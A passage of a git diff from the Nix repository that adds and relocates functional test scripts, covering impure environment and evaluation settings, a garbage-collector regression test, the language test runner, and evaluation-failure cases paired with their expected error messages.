+restartDaemon + +varTest() { + local var="$1"; shift + local value="$1"; shift + nix build --no-link -vL --argstr var "$var" --argstr value "$value" --impure "$@" --file impure-env.nix + clearStore +} + +clearStore +startDaemon + +varTest env_name value --impure-env env_name=value + +echo 'impure-env = set_in_config=config_value' >> "$test_nix_conf" +set_in_config=daemon_value restartDaemon + +varTest set_in_config config_value +varTest set_in_config client_value --impure-env set_in_config=client_value + +sed -i -e '/^trusted-users =/d' "$test_nix_conf" + +env_name=daemon_value restartDaemon + +varTest env_name daemon_value --impure-env env_name=client_value + +killDaemon diff --git a/tests/functional/impure-eval.sh b/tests/functional/impure-eval.sh new file mode 100755 index 000000000..33a5ea409 --- /dev/null +++ b/tests/functional/impure-eval.sh @@ -0,0 +1,37 @@ +#!/usr/bin/env bash + +source common.sh + +export REMOTE_STORE="dummy://" + +simpleTest () { + local expr=$1; shift + local result=$1; shift + # rest, extra args + + [[ "$(nix eval --impure --raw "$@" --expr "$expr")" == "$result" ]] +} + +# `builtins.storeDir` + +## Store dir follows `store` store setting +simpleTest 'builtins.storeDir' '/foo' --store "$REMOTE_STORE?store=/foo" +simpleTest 'builtins.storeDir' '/bar' --store "$REMOTE_STORE?store=/bar" + +# `builtins.currentSystem` + +## `system` alone affects by default +simpleTest 'builtins.currentSystem' 'foo' --system 'foo' +simpleTest 'builtins.currentSystem' 'bar' --system 'bar' + +## `system` affects if `eval-system` is an empty string +simpleTest 'builtins.currentSystem' 'foo' --system 'foo' --eval-system '' +simpleTest 'builtins.currentSystem' 'bar' --system 'bar' --eval-system '' + +## `eval-system` alone affects +simpleTest 'builtins.currentSystem' 'foo' --eval-system 'foo' +simpleTest 'builtins.currentSystem' 'bar' --eval-system 'bar' + +## `eval-system` overrides `system` +simpleTest 'builtins.currentSystem' 'bar' --system 'foo' --eval-system 'bar' +simpleTest 'builtins.currentSystem' 'baz' --system 'foo' --eval-system 'baz' diff --git a/tests/install-darwin.sh b/tests/functional/install-darwin.sh similarity index 97% rename from tests/install-darwin.sh rename to tests/functional/install-darwin.sh index 7e44e54c4..ea2b75323 100755 --- a/tests/install-darwin.sh +++ b/tests/functional/install-darwin.sh @@ -4,7 +4,7 @@ set -eux cleanup() { PLIST="/Library/LaunchDaemons/org.nixos.nix-daemon.plist" - if sudo launchctl list | grep -q nix-daemon; then + if sudo launchctl list | grepQuiet nix-daemon; then sudo launchctl unload "$PLIST" fi diff --git a/tests/functional/lang-gc.sh b/tests/functional/lang-gc.sh new file mode 100644 index 000000000..1746fa4c1 --- /dev/null +++ b/tests/functional/lang-gc.sh @@ -0,0 +1,36 @@ +# shellcheck shell=bash + +# Regression tests for the evaluator +# These are not in lang.sh because they generally only need to run in CI, +# whereas lang.sh is often run locally during development + + +source common.sh + +set -o pipefail + +skipTest "Too memory instensive for CI. Attempt to reduce memory usage was unsuccessful, because it made detection of the bug unreliable." + +# Regression test for #11141. The stack pointer corrector assigned the base +# instead of the top (which resides at the low end of the stack). Sounds confusing? +# Stacks grow downwards, so that's why this mistake happened. +# My manual testing did not uncover this, because it didn't rely on the stack enough. +# https://github.com/NixOS/nix/issues/11141 +test_issue_11141() { + mkdir -p "$TEST_ROOT/issue-11141/src" + cp lang-gc/issue-11141-gc-coroutine-test.nix "$TEST_ROOT/issue-11141/" + ( + set +x; + n=10 + echo "populating $TEST_ROOT/issue-11141/src with $((n*100)) files..." + for i in $(seq 0 $n); do + touch "$TEST_ROOT/issue-11141/src/file-$i"{0,1,2,3,4,5,6,7,8,9}{0,1,2,3,4,5,6,7,8,9} + done + ) + + GC_INITIAL_HEAP_SIZE=$((1024 * 1024)) \ + NIX_SHOW_STATS=1 \ + nix eval -vvv\ + -f "$TEST_ROOT/issue-11141/issue-11141-gc-coroutine-test.nix" +} +test_issue_11141 diff --git a/tests/functional/lang-gc/issue-11141-gc-coroutine-test.nix b/tests/functional/lang-gc/issue-11141-gc-coroutine-test.nix new file mode 100644 index 000000000..4f311af75 --- /dev/null +++ b/tests/functional/lang-gc/issue-11141-gc-coroutine-test.nix @@ -0,0 +1,65 @@ + +# Run: +# GC_INITIAL_HEAP_SIZE=$[1024 * 1024] NIX_SHOW_STATS=1 nix eval -f gc-coroutine-test.nix -vvvv + +let + inherit (builtins) + foldl' + isList + ; + + # Generate a tree of numbers, n deep, such that the numbers add up to (1 + salt) * 10^n. + # The salting makes the numbers all different, increasing the likelihood of catching + # any memory corruptions that might be caused by the GC or otherwise. + garbage = salt: n: + if n == 0 + then [(1 + salt)] + else [ + (garbage (10 * salt + 1) (n - 1)) + (garbage (10 * salt - 1) (n - 1)) + (garbage (10 * salt + 2) (n - 1)) + (garbage (10 * salt - 2) (n - 1)) + (garbage (10 * salt + 3) (n - 1)) + (garbage (10 * salt - 3) (n - 1)) + (garbage (10 * salt + 4) (n - 1)) + (garbage (10 * salt - 4) (n - 1)) + (garbage (10 * salt + 5) (n - 1)) + (garbage (10 * salt - 5) (n - 1)) + ]; + + pow = base: n: + if n == 0 + then 1 + else base * (pow base (n - 1)); + + sumNestedLists = l: + if isList l + then foldl' (a: b: a + sumNestedLists b) 0 l + else l; + +in + assert sumNestedLists (garbage 0 3) == pow 10 3; + assert sumNestedLists (garbage 0 6) == pow 10 6; + builtins.foldl' + (a: b: + assert + "${ + builtins.path { + path = ./src; + filter = path: type: + # We're not doing common subexpression elimination, so this reallocates + # the fairly big tree over and over, producing a lot of garbage during + # source filtering, whose filter runs in a coroutine. + assert sumNestedLists (garbage 0 3) == pow 10 3; + true; + } + }" + == "${./src}"; + + # These asserts don't seem necessary, as the lambda value get corrupted first + assert a.okay; + assert b.okay; + { okay = true; } + ) + { okay = true; } + [ { okay = true; } { okay = true; } { okay = true; } ] diff --git a/tests/functional/lang.sh b/tests/functional/lang.sh new file mode 100755 index 000000000..46cf3f1fe --- /dev/null +++ b/tests/functional/lang.sh @@ -0,0 +1,159 @@ +#!/usr/bin/env bash + +source common.sh + +set -o pipefail + +source characterisation/framework.sh + +# specialize function a bit +function diffAndAccept() { + local -r testName="$1" + local -r got="lang/$testName.$2" + local -r expected="lang/$testName.$3" + diffAndAcceptInner "$testName" "$got" "$expected" +} + +export TEST_VAR=foo # for eval-okay-getenv.nix +export NIX_REMOTE=dummy:// +export NIX_STORE_DIR=/nix/store + +nix-instantiate --eval -E 'builtins.trace "Hello" 123' 2>&1 | grepQuiet Hello +nix-instantiate --eval -E 'builtins.trace "Hello" 123' 2>/dev/null | grepQuiet 123 +nix-instantiate --eval -E 'builtins.addErrorContext "Hello" 123' 2>&1 +nix-instantiate --trace-verbose --eval -E 'builtins.traceVerbose "Hello" 123' 2>&1 | grepQuiet Hello +nix-instantiate --eval -E 'builtins.traceVerbose "Hello" 123' 2>&1 | grepQuietInverse Hello +nix-instantiate --show-trace --eval -E 'builtins.addErrorContext "Hello" 123' 2>&1 | grepQuietInverse Hello +expectStderr 1 nix-instantiate --show-trace --eval -E 'builtins.addErrorContext "Hello" (throw "Foo")' | grepQuiet Hello +expectStderr 1 nix-instantiate --show-trace --eval -E 'builtins.addErrorContext "Hello %" (throw "Foo")' | grepQuiet 'Hello %' +# Relies on parsing the expression derivation as a derivation, can't use --eval +expectStderr 1 nix-instantiate --show-trace lang/non-eval-fail-bad-drvPath.nix | grepQuiet "store path '8qlfcic10lw5304gqm8q45nr7g7jl62b-cachix-1.7.3-bin' is not a valid derivation path" + + +nix-instantiate --eval -E 'let x = builtins.trace { x = x; } true; in x' \ + 2>&1 | grepQuiet -E 'trace: { x = «potential infinite recursion»; }' + +nix-instantiate --eval -E 'let x = { repeating = x; tracing = builtins.trace x true; }; in x.tracing'\ + 2>&1 | grepQuiet -F 'trace: { repeating = «repeated»; tracing = «potential infinite recursion»; }' + +nix-instantiate --eval -E 'builtins.warn "Hello" 123' 2>&1 | grepQuiet 'warning: Hello' +nix-instantiate --eval -E 'builtins.addErrorContext "while doing ${"something"} interesting" (builtins.warn "Hello" 123)' 2>/dev/null | grepQuiet 123 + +# warn does not accept non-strings for now +expectStderr 1 nix-instantiate --eval -E 'let x = builtins.warn { x = x; } true; in x' \ + | grepQuiet "expected a string but found a set" +expectStderr 1 nix-instantiate --eval --abort-on-warn -E 'builtins.warn "Hello" 123' | grepQuiet Hello +NIX_ABORT_ON_WARN=1 expectStderr 1 nix-instantiate --eval -E 'builtins.addErrorContext "while doing ${"something"} interesting" (builtins.warn "Hello" 123)' | grepQuiet "while doing something interesting" + +set +x + +badDiff=0 +badExitCode=0 + +# Extra post-processing that's specific to each test case +postprocess() { + if [[ -e "lang/$1.postprocess" ]]; then + ( + # We could allow arbitrary interpreters in .postprocess, but that + # just exposes us to the complexity of not having /usr/bin/env in + # the sandbox. So let's just hardcode bash for now. + set -x; + bash "lang/$1.postprocess" "lang/$1" + ) + fi +} + +for i in lang/parse-fail-*.nix; do + echo "parsing $i (should fail)"; + i=$(basename "$i" .nix) + if expectStderr 1 nix-instantiate --parse - < "lang/$i.nix" > "lang/$i.err" + then + postprocess "$i" + diffAndAccept "$i" err err.exp + else + echo "FAIL: $i shouldn't parse" + badExitCode=1 + fi +done + +for i in lang/parse-okay-*.nix; do + echo "parsing $i (should succeed)"; + i=$(basename "$i" .nix) + if + expect 0 nix-instantiate --parse - < "lang/$i.nix" \ + 1> "lang/$i.out" \ + 2> "lang/$i.err" + then + sed "s!$(pwd)!/pwd!g" "lang/$i.out" "lang/$i.err" + postprocess "$i" + diffAndAccept "$i" out exp + diffAndAccept "$i" err err.exp + else + echo "FAIL: $i should parse" + badExitCode=1 + fi +done + +for i in lang/eval-fail-*.nix; do + echo "evaluating $i (should fail)"; + i=$(basename "$i" .nix) + flags="$( + if [[ -e "lang/$i.flags" ]]; then + sed -e 's/#.*//' < "lang/$i.flags" + else + # note that show-trace is also set by common/init.sh + echo "--eval --strict --show-trace" + fi + )" + if + expectStderr 1 nix-instantiate $flags "lang/$i.nix" \ + | sed "s!$(pwd)!/pwd!g" > "lang/$i.err" + then + postprocess "$i" + diffAndAccept "$i" err err.exp + else + echo "FAIL: $i shouldn't evaluate" + badExitCode=1 + fi +done + +for i in lang/eval-okay-*.nix; do + echo "evaluating $i (should succeed)"; + i=$(basename "$i" .nix) + + if test -e "lang/$i.exp.xml"; then + if expect 0 nix-instantiate --eval --xml --no-location --strict \ + "lang/$i.nix" > "lang/$i.out.xml" + then + postprocess "$i" + diffAndAccept "$i" out.xml exp.xml + else + echo "FAIL: $i should evaluate" + badExitCode=1 + fi + elif test ! -e "lang/$i.exp-disabled"; then + declare -a flags=() + if test -e "lang/$i.flags"; then + read -r -a flags < "lang/$i.flags" + fi + + if + expect 0 env \ + NIX_PATH=lang/dir3:lang/dir4 \ + HOME=/fake-home \ + nix-instantiate "${flags[@]}" --eval --strict "lang/$i.nix" \ + 1> "lang/$i.out" \ + 2> "lang/$i.err" + then + sed -i "s!$(pwd)!/pwd!g" "lang/$i.out" "lang/$i.err" + postprocess "$i" + diffAndAccept "$i" out exp + diffAndAccept "$i" err err.exp + else + echo "FAIL: $i should evaluate" + badExitCode=1 + fi + fi +done + +characterisationTestExit diff --git a/tests/lang/binary-data b/tests/functional/lang/binary-data similarity index 100% rename from tests/lang/binary-data rename to tests/functional/lang/binary-data diff --git a/tests/lang/data b/tests/functional/lang/data similarity index 100% rename from tests/lang/data rename to tests/functional/lang/data diff --git a/tests/lang/dir1/a.nix b/tests/functional/lang/dir1/a.nix similarity index 100% rename from tests/lang/dir1/a.nix rename to tests/functional/lang/dir1/a.nix diff --git a/tests/lang/dir2/a.nix b/tests/functional/lang/dir2/a.nix similarity index 100% rename from tests/lang/dir2/a.nix rename to tests/functional/lang/dir2/a.nix diff --git a/tests/lang/dir2/b.nix b/tests/functional/lang/dir2/b.nix similarity index 100% rename from tests/lang/dir2/b.nix rename to tests/functional/lang/dir2/b.nix diff --git a/tests/lang/dir3/a.nix b/tests/functional/lang/dir3/a.nix similarity index 100% rename from tests/lang/dir3/a.nix rename to tests/functional/lang/dir3/a.nix diff --git a/tests/lang/dir3/b.nix b/tests/functional/lang/dir3/b.nix similarity index 100% rename from tests/lang/dir3/b.nix rename to tests/functional/lang/dir3/b.nix diff --git a/tests/lang/dir3/c.nix b/tests/functional/lang/dir3/c.nix similarity index 100% rename from tests/lang/dir3/c.nix rename to tests/functional/lang/dir3/c.nix diff --git a/tests/lang/dir4/a.nix b/tests/functional/lang/dir4/a.nix similarity index 100% rename from tests/lang/dir4/a.nix rename to tests/functional/lang/dir4/a.nix diff --git a/tests/lang/dir4/c.nix b/tests/functional/lang/dir4/c.nix similarity index 100% rename from tests/lang/dir4/c.nix rename to tests/functional/lang/dir4/c.nix diff --git a/tests/functional/lang/eval-fail-abort.err.exp b/tests/functional/lang/eval-fail-abort.err.exp new file mode 100644 index 000000000..20e7b9e18 --- /dev/null +++ b/tests/functional/lang/eval-fail-abort.err.exp @@ -0,0 +1,8 @@ +error: + … while calling the 'abort' builtin + at /pwd/lang/eval-fail-abort.nix:1:14: + 1| if true then abort "this should fail" else 1 + | ^ + 2| + + error: evaluation aborted with the following error message: 'this should fail' diff --git a/tests/lang/eval-fail-abort.nix b/tests/functional/lang/eval-fail-abort.nix similarity index 100% rename from tests/lang/eval-fail-abort.nix rename to tests/functional/lang/eval-fail-abort.nix diff --git a/tests/functional/lang/eval-fail-addDrvOutputDependencies-empty-context.err.exp b/tests/functional/lang/eval-fail-addDrvOutputDependencies-empty-context.err.exp new file mode 100644 index 000000000..37e0bd9ee --- /dev/null +++ b/tests/functional/lang/eval-fail-addDrvOutputDependencies-empty-context.err.exp @@ -0,0 +1,8 @@ +error: + … while calling the 'addDrvOutputDependencies' builtin + at /pwd/lang/eval-fail-addDrvOutputDependencies-empty-context.nix:1:1: + 1| builtins.addDrvOutputDependencies "" + | ^ + 2| + + error: context of string '' must have exactly one element, but has 0 diff --git a/tests/functional/lang/eval-fail-addDrvOutputDependencies-empty-context.nix b/tests/functional/lang/eval-fail-addDrvOutputDependencies-empty-context.nix new file mode 100644 index 000000000..dc9ee3ba2 --- /dev/null +++ b/tests/functional/lang/eval-fail-addDrvOutputDependencies-empty-context.nix @@ -0,0 +1 @@ +builtins.addDrvOutputDependencies "" diff --git a/tests/functional/lang/eval-fail-addDrvOutputDependencies-multi-elem-context.err.exp b/tests/functional/lang/eval-fail-addDrvOutputDependencies-multi-elem-context.err.exp new file mode 100644 index 000000000..6828e03c8 --- /dev/null +++ b/tests/functional/lang/eval-fail-addDrvOutputDependencies-multi-elem-context.err.exp @@ -0,0 +1,9 @@ +error: + … while calling the 'addDrvOutputDependencies' builtin + at /pwd/lang/eval-fail-addDrvOutputDependencies-multi-elem-context.nix:18:4: + 17| + 18| in builtins.addDrvOutputDependencies combo-path + | ^ + 19| + + error: context of string '/nix/store/pg9yqs4yd85yhdm3f4i5dyaqp5jahrsz-fail.drv/nix/store/2dxd5frb715z451vbf7s8birlf3argbk-fail-2.drv' must have exactly one element, but has 2 diff --git a/tests/functional/lang/eval-fail-addDrvOutputDependencies-multi-elem-context.nix b/tests/functional/lang/eval-fail-addDrvOutputDependencies-multi-elem-context.nix new file mode 100644 index 000000000..dbde264df --- /dev/null +++ b/tests/functional/lang/eval-fail-addDrvOutputDependencies-multi-elem-context.nix @@ -0,0 +1,18 @@ +let + drv0 = derivation { + name = "fail"; + builder = "/bin/false"; + system = "x86_64-linux"; + outputs = [ "out" "foo" ]; + }; + + drv1 = derivation { + name = "fail-2"; + builder = "/bin/false"; + system = "x86_64-linux"; + outputs = [ "out" "foo" ]; + }; + + combo-path = "${drv0.drvPath}${drv1.drvPath}"; + +in builtins.addDrvOutputDependencies combo-path diff --git a/tests/functional/lang/eval-fail-addDrvOutputDependencies-wrong-element-kind.err.exp b/tests/functional/lang/eval-fail-addDrvOutputDependencies-wrong-element-kind.err.exp new file mode 100644 index 000000000..72b5e6368 --- /dev/null +++ b/tests/functional/lang/eval-fail-addDrvOutputDependencies-wrong-element-kind.err.exp @@ -0,0 +1,9 @@ +error: + … while calling the 'addDrvOutputDependencies' builtin + at /pwd/lang/eval-fail-addDrvOutputDependencies-wrong-element-kind.nix:9:4: + 8| + 9| in builtins.addDrvOutputDependencies drv.outPath + | ^ + 10| + + error: `addDrvOutputDependencies` can only act on derivations, not on a derivation output such as 'out' diff --git a/tests/functional/lang/eval-fail-addDrvOutputDependencies-wrong-element-kind.nix b/tests/functional/lang/eval-fail-addDrvOutputDependencies-wrong-element-kind.nix new file mode 100644 index 000000000..e379e1d95 --- /dev/null +++ b/tests/functional/lang/eval-fail-addDrvOutputDependencies-wrong-element-kind.nix @@ -0,0 +1,9 @@ +let + drv = derivation { + name = "fail"; + builder = "/bin/false"; + system = "x86_64-linux"; + outputs = [ "out" "foo" ]; + }; + +in builtins.addDrvOutputDependencies drv.outPath diff --git a/tests/functional/lang/eval-fail-addErrorContext-example.err.exp b/tests/functional/lang/eval-fail-addErrorContext-example.err.exp new file mode 100644 index 000000000..4fad8f5c8 --- /dev/null +++ b/tests/functional/lang/eval-fail-addErrorContext-example.err.exp @@ -0,0 +1,24 @@ +error: + … while counting down; n = 10 + + … while counting down; n = 9 + + … while counting down; n = 8 + + … while counting down; n = 7 + + … while counting down; n = 6 + + … while counting down; n = 5 + + … while counting down; n = 4 + + … while counting down; n = 3 + + … while counting down; n = 2 + + … while counting down; n = 1 + + (stack trace truncated; use '--show-trace' to show the full, detailed trace) + + error: kaboom diff --git a/tests/functional/lang/eval-fail-addErrorContext-example.flags b/tests/functional/lang/eval-fail-addErrorContext-example.flags new file mode 100644 index 000000000..9b1f6458f --- /dev/null +++ b/tests/functional/lang/eval-fail-addErrorContext-example.flags @@ -0,0 +1 @@ +--eval --strict --no-show-trace diff --git a/tests/functional/lang/eval-fail-addErrorContext-example.nix b/tests/functional/lang/eval-fail-addErrorContext-example.nix new file mode 100644 index 000000000..996b24688 --- /dev/null +++ b/tests/functional/lang/eval-fail-addErrorContext-example.nix @@ -0,0 +1,9 @@ +let + countDown = n: + if n == 0 + then throw "kaboom" + else + builtins.addErrorContext + "while counting down; n = ${toString n}" + ("x" + countDown (n - 1)); +in countDown 10 diff --git a/tests/functional/lang/eval-fail-assert-equal-attrs-names-2.err.exp b/tests/functional/lang/eval-fail-assert-equal-attrs-names-2.err.exp new file mode 100644 index 000000000..4b68d97c2 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-attrs-names-2.err.exp @@ -0,0 +1,8 @@ +error: + … while evaluating the condition of the assertion '({ a = true; } == { a = true; b = true; })' + at /pwd/lang/eval-fail-assert-equal-attrs-names-2.nix:1:1: + 1| assert { a = true; } == { a = true; b = true; }; + | ^ + 2| throw "unreachable" + + error: attribute names of attribute set '{ a = true; }' differs from attribute set '{ a = true; b = true; }' diff --git a/tests/functional/lang/eval-fail-assert-equal-attrs-names-2.nix b/tests/functional/lang/eval-fail-assert-equal-attrs-names-2.nix new file mode 100644 index 000000000..8e7ac9cf2 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-attrs-names-2.nix @@ -0,0 +1,2 @@ +assert { a = true; } == { a = true; b = true; }; +throw "unreachable" diff --git a/tests/functional/lang/eval-fail-assert-equal-attrs-names.err.exp b/tests/functional/lang/eval-fail-assert-equal-attrs-names.err.exp new file mode 100644 index 000000000..bc61ca63a --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-attrs-names.err.exp @@ -0,0 +1,8 @@ +error: + … while evaluating the condition of the assertion '({ a = true; b = true; } == { a = true; })' + at /pwd/lang/eval-fail-assert-equal-attrs-names.nix:1:1: + 1| assert { a = true; b = true; } == { a = true; }; + | ^ + 2| throw "unreachable" + + error: attribute names of attribute set '{ a = true; b = true; }' differs from attribute set '{ a = true; }' diff --git a/tests/functional/lang/eval-fail-assert-equal-attrs-names.nix b/tests/functional/lang/eval-fail-assert-equal-attrs-names.nix new file mode 100644 index 000000000..e2f53a85a --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-attrs-names.nix @@ -0,0 +1,2 @@ +assert { a = true; b = true; } == { a = true; }; +throw "unreachable" diff --git a/tests/functional/lang/eval-fail-assert-equal-derivations-extra.err.exp b/tests/functional/lang/eval-fail-assert-equal-derivations-extra.err.exp new file mode 100644 index 000000000..7f4924074 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-derivations-extra.err.exp @@ -0,0 +1,26 @@ +error: + … while evaluating the condition of the assertion '({ foo = { outPath = "/nix/store/0"; type = "derivation"; }; } == { foo = { devious = true; outPath = "/nix/store/1"; type = "derivation"; }; })' + at /pwd/lang/eval-fail-assert-equal-derivations-extra.nix:1:1: + 1| assert + | ^ + 2| { foo = { type = "derivation"; outPath = "/nix/store/0"; }; } + + … while comparing attribute 'foo' + + … where left hand side is + at /pwd/lang/eval-fail-assert-equal-derivations-extra.nix:2:5: + 1| assert + 2| { foo = { type = "derivation"; outPath = "/nix/store/0"; }; } + | ^ + 3| == + + … where right hand side is + at /pwd/lang/eval-fail-assert-equal-derivations-extra.nix:4:5: + 3| == + 4| { foo = { type = "derivation"; outPath = "/nix/store/1"; devious = true; }; }; + | ^ + 5| throw "unreachable" + + … while comparing a derivation by its 'outPath' attribute + + error: string '"/nix/store/0"' is not equal to string '"/nix/store/1"' diff --git a/tests/functional/lang/eval-fail-assert-equal-derivations-extra.nix b/tests/functional/lang/eval-fail-assert-equal-derivations-extra.nix new file mode 100644 index 000000000..fd8bc3f26 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-derivations-extra.nix @@ -0,0 +1,5 @@ +assert + { foo = { type = "derivation"; outPath = "/nix/store/0"; }; } + == + { foo = { type = "derivation"; outPath = "/nix/store/1"; devious = true; }; }; +throw "unreachable" \ No newline at end of file diff --git a/tests/functional/lang/eval-fail-assert-equal-derivations.err.exp b/tests/functional/lang/eval-fail-assert-equal-derivations.err.exp new file mode 100644 index 000000000..d7f0face0 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-derivations.err.exp @@ -0,0 +1,26 @@ +error: + … while evaluating the condition of the assertion '({ foo = { ignored = (abort "not ignored"); outPath = "/nix/store/0"; type = "derivation"; }; } == { foo = { ignored = (abort "not ignored"); outPath = "/nix/store/1"; type = "derivation"; }; })' + at /pwd/lang/eval-fail-assert-equal-derivations.nix:1:1: + 1| assert + | ^ + 2| { foo = { type = "derivation"; outPath = "/nix/store/0"; ignored = abort "not ignored"; }; } + + … while comparing attribute 'foo' + + … where left hand side is + at /pwd/lang/eval-fail-assert-equal-derivations.nix:2:5: + 1| assert + 2| { foo = { type = "derivation"; outPath = "/nix/store/0"; ignored = abort "not ignored"; }; } + | ^ + 3| == + + … where right hand side is + at /pwd/lang/eval-fail-assert-equal-derivations.nix:4:5: + 3| == + 4| { foo = { type = "derivation"; outPath = "/nix/store/1"; ignored = abort "not ignored"; }; }; + | ^ + 5| throw "unreachable" + + … while comparing a derivation by its 'outPath' attribute + + error: string '"/nix/store/0"' is not equal to string '"/nix/store/1"' diff --git a/tests/functional/lang/eval-fail-assert-equal-derivations.nix b/tests/functional/lang/eval-fail-assert-equal-derivations.nix new file mode 100644 index 000000000..c648eae37 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-derivations.nix @@ -0,0 +1,5 @@ +assert + { foo = { type = "derivation"; outPath = "/nix/store/0"; ignored = abort "not ignored"; }; } + == + { foo = { type = "derivation"; outPath = "/nix/store/1"; ignored = abort "not ignored"; }; }; +throw "unreachable" \ No newline at end of file diff --git a/tests/functional/lang/eval-fail-assert-equal-floats.err.exp b/tests/functional/lang/eval-fail-assert-equal-floats.err.exp new file mode 100644 index 000000000..d8545e2db --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-floats.err.exp @@ -0,0 +1,22 @@ +error: + … while evaluating the condition of the assertion '({ b = 1; } == { b = 1.01; })' + at /pwd/lang/eval-fail-assert-equal-floats.nix:1:1: + 1| assert { b = 1.0; } == { b = 1.01; }; + | ^ + 2| abort "unreachable" + + … while comparing attribute 'b' + + … where left hand side is + at /pwd/lang/eval-fail-assert-equal-floats.nix:1:10: + 1| assert { b = 1.0; } == { b = 1.01; }; + | ^ + 2| abort "unreachable" + + … where right hand side is + at /pwd/lang/eval-fail-assert-equal-floats.nix:1:26: + 1| assert { b = 1.0; } == { b = 1.01; }; + | ^ + 2| abort "unreachable" + + error: a float with value '1' is not equal to a float with value '1.01' diff --git a/tests/functional/lang/eval-fail-assert-equal-floats.nix b/tests/functional/lang/eval-fail-assert-equal-floats.nix new file mode 100644 index 000000000..438e85abf --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-floats.nix @@ -0,0 +1,2 @@ +assert { b = 1.0; } == { b = 1.01; }; +abort "unreachable" diff --git a/tests/functional/lang/eval-fail-assert-equal-function-direct.err.exp b/tests/functional/lang/eval-fail-assert-equal-function-direct.err.exp new file mode 100644 index 000000000..f06d79698 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-function-direct.err.exp @@ -0,0 +1,9 @@ +error: + … while evaluating the condition of the assertion '((x: x) == (x: x))' + at /pwd/lang/eval-fail-assert-equal-function-direct.nix:3:1: + 2| # This only compares a direct comparison and makes no claims about functions in nested structures. + 3| assert + | ^ + 4| (x: x) + + error: distinct functions and immediate comparisons of identical functions compare as unequal diff --git a/tests/functional/lang/eval-fail-assert-equal-function-direct.nix b/tests/functional/lang/eval-fail-assert-equal-function-direct.nix new file mode 100644 index 000000000..68e5e3908 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-function-direct.nix @@ -0,0 +1,7 @@ +# Note: functions in nested structures, e.g. attributes, may be optimized away by pointer identity optimization. +# This only compares a direct comparison and makes no claims about functions in nested structures. +assert + (x: x) + == + (x: x); +abort "unreachable" \ No newline at end of file diff --git a/tests/functional/lang/eval-fail-assert-equal-int-float.err.exp b/tests/functional/lang/eval-fail-assert-equal-int-float.err.exp new file mode 100644 index 000000000..c927e38d6 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-int-float.err.exp @@ -0,0 +1,8 @@ +error: + … while evaluating the condition of the assertion '(1 == 1.1)' + at /pwd/lang/eval-fail-assert-equal-int-float.nix:1:1: + 1| assert 1 == 1.1; + | ^ + 2| throw "unreachable" + + error: an integer with value '1' is not equal to a float with value '1.1' diff --git a/tests/functional/lang/eval-fail-assert-equal-int-float.nix b/tests/functional/lang/eval-fail-assert-equal-int-float.nix new file mode 100644 index 000000000..1dfdf2bda --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-int-float.nix @@ -0,0 +1,2 @@ +assert 1 == 1.1; +throw "unreachable" diff --git a/tests/functional/lang/eval-fail-assert-equal-ints.err.exp b/tests/functional/lang/eval-fail-assert-equal-ints.err.exp new file mode 100644 index 000000000..d6219e200 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-ints.err.exp @@ -0,0 +1,22 @@ +error: + … while evaluating the condition of the assertion '({ b = 1; } == { b = 2; })' + at /pwd/lang/eval-fail-assert-equal-ints.nix:1:1: + 1| assert { b = 1; } == { b = 2; }; + | ^ + 2| abort "unreachable" + + … while comparing attribute 'b' + + … where left hand side is + at /pwd/lang/eval-fail-assert-equal-ints.nix:1:10: + 1| assert { b = 1; } == { b = 2; }; + | ^ + 2| abort "unreachable" + + … where right hand side is + at /pwd/lang/eval-fail-assert-equal-ints.nix:1:24: + 1| assert { b = 1; } == { b = 2; }; + | ^ + 2| abort "unreachable" + + error: an integer with value '1' is not equal to an integer with value '2' diff --git a/tests/functional/lang/eval-fail-assert-equal-ints.nix b/tests/functional/lang/eval-fail-assert-equal-ints.nix new file mode 100644 index 000000000..645258ea6 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-ints.nix @@ -0,0 +1,2 @@ +assert { b = 1; } == { b = 2; }; +abort "unreachable" diff --git a/tests/functional/lang/eval-fail-assert-equal-list-length.err.exp b/tests/functional/lang/eval-fail-assert-equal-list-length.err.exp new file mode 100644 index 000000000..90108552c --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-list-length.err.exp @@ -0,0 +1,8 @@ +error: + … while evaluating the condition of the assertion '([ (1) (0) ] == [ (10) ])' + at /pwd/lang/eval-fail-assert-equal-list-length.nix:1:1: + 1| assert [ 1 0 ] == [ 10 ]; + | ^ + 2| throw "unreachable" + + error: list of size '2' is not equal to list of size '1', left hand side is '[ 1 0 ]', right hand side is '[ 10 ]' diff --git a/tests/functional/lang/eval-fail-assert-equal-list-length.nix b/tests/functional/lang/eval-fail-assert-equal-list-length.nix new file mode 100644 index 000000000..6d40f4d8e --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-list-length.nix @@ -0,0 +1,2 @@ +assert [ 1 0 ] == [ 10 ]; +throw "unreachable" \ No newline at end of file diff --git a/tests/functional/lang/eval-fail-assert-equal-paths.err.exp b/tests/functional/lang/eval-fail-assert-equal-paths.err.exp new file mode 100644 index 000000000..66c34e971 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-paths.err.exp @@ -0,0 +1,8 @@ +error: + … while evaluating the condition of the assertion '(/pwd/lang/foo == /pwd/lang/bar)' + at /pwd/lang/eval-fail-assert-equal-paths.nix:1:1: + 1| assert ./foo == ./bar; + | ^ + 2| throw "unreachable" + + error: path '/pwd/lang/foo' is not equal to path '/pwd/lang/bar' diff --git a/tests/functional/lang/eval-fail-assert-equal-paths.nix b/tests/functional/lang/eval-fail-assert-equal-paths.nix new file mode 100644 index 000000000..ef0b67024 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-paths.nix @@ -0,0 +1,2 @@ +assert ./foo == ./bar; +throw "unreachable" \ No newline at end of file diff --git a/tests/functional/lang/eval-fail-assert-equal-type-nested.err.exp 